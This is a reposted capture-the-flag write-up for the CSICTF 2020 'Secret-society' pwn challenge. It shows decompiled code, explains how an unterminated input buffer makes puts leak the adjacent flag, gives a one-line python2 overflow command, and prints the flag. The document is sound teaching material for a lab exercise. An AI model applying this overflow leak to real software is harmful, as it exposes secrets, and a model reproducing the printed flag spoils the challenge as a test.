# Secret-society

*发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Pwn*
*Challenge | 2020 | CSICTF | Pwn | Secret-society*

*点击此处获得更好的阅读体验*

---

## *WriteUp来源*

*https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Secret-society.html*

*by* `AnandSaminathan`

## *题目描述*

*Wanna enter the Secret Society? Well you have to find the secret code first!*

## *题目考点*

## *解题思路*

*On decompiling main using Ghidra:*

```
1  undefined8 main(undefined8 argc, char **argv)
2  {
3      undefined4 uVar1;
4      undefined *puVar2;
5      int64_t iVar3;
6      undefined8 in_R8;
7      undefined8 in_R9;
8      int64_t var_e0h;
9      undefined8 uStack208;
10     undefined4 uStack200;
11     undefined auStack196 [108];
12     int64_t var_50h;
13     int64_t var_d4h;
14     int64_t var_18h;
15     int64_t var_10h;
16     int64_t var_4h;
17
18     var_d4h._0_4_ = (undefined4)argc;
19     setvbuf(_reloc.stdout, 0, 2, 0, in_R8, in_R9, argv);
20     uVar1 = getegid();
21     setresgid(uVar1, uVar1, uVar1);
22     memset(&var_50h, 0, 0x32);
23     memset((int64_t)&var_d4h + 4, 0, 0x80);
24     puts("What is the secret phrase?");
25     fgets((int64_t)&var_d4h + 4, 0x80, _reloc.stdin);
26     puVar2 = (undefined *)strchr((int64_t)&var_d4h + 4, 10);
27     if (puVar2 != (undefined *)0x0) {
28         *puVar2 = 0;
29     }
30     iVar3 = strlen((int64_t)&var_d4h + 4);
31     *(undefined8 *)((int64_t)&var_d4h + iVar3 + 4) = 0x657261206577202c;
32     *(undefined8 *)((int64_t)&uStack208 + iVar3) = 0x6877797265766520;
33     *(undefined4 *)((int64_t)&uStack200 + iVar3) = 0x2e657265;
34     auStack196[iVar3] = 0;
35     iVar3 = fopen("flag.txt", 0x402023);
36     if (iVar3 == 0) {
37         printf("You are a double agent, it\'s game over for you.");
38         exit(0);
39     }
40     fgets(&var_50h, 0x32, iVar3);
41     printf("Shhh... don\'t tell anyone else about ");
42     puts((int64_t)&var_d4h + 4);
43     return 0;
44 }
```

*By inspecting the above code (and some assembly in gdb), it was clear that the input buffer is right above the buffer which contains the flag and fgets reads exactly 108 bytes. So if the input string length is greater than 108, then there will be no null termination in the buffer and therefore, the flag will be printed by the puts. This worked:*

```
python2 -c "print 'A'*200" | ./secret-society
```

# *Flag*

```
csivit{Bu!!er_e3pl01ts_ar5_5asy}
```



*# Challenge # 2020 # Pwn # CSICTF*
*Smash*
*Pwn-Intended-0x1*